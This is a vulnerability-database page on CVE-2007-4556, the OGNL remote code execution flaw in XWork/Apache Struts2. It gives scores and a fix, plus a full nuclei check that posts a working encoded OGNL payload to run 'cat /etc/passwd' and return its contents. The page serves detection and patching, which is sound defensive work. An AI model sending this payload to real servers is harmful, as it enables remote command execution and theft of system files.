HexBrain

Browse / CVEs / CVE-2007-4556

CVE-2007-4556· opensymphony / xwork· NVD-CWE-Other

OpenSymphony XWork/Apache Struts2 - Remote Code Execution

mediumseverity
6.8CVSS score
25.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.

Impact

Remote code execution

Fix

Update to the latest version of Apache Struts2

How to confirm it

Send: POST {{BaseURL}}/login.action
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2007-4556 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2007-4556

info:
  name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution
  author: pikpikcu
  severity: medium
  description: |
    Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
  impact: |
    Remote code execution
  remediation: |
    Update to the latest version of Apache Struts2
  reference:
    - https://www.guildhab.top/?p=2326
    - https://nvd.nist.gov/vuln/detail/CVE-2007-4556
    - https://cwiki.apache.org/confluence/display/WW/S2-001
    - http://forums.opensymphony.com/ann.jspa?annID=54
    - http://issues.apache.org/struts/browse/WW-2030
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2007-4556
    cwe-id: NVD-CWE-Other
    epss-score: 0.25749
    epss-percentile: 0.97984
    cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: opensymphony
    product: xwork
  tags: cve,cve2007,apache,rce,struts,opensymphony,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/login.action"

    body: |
      username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from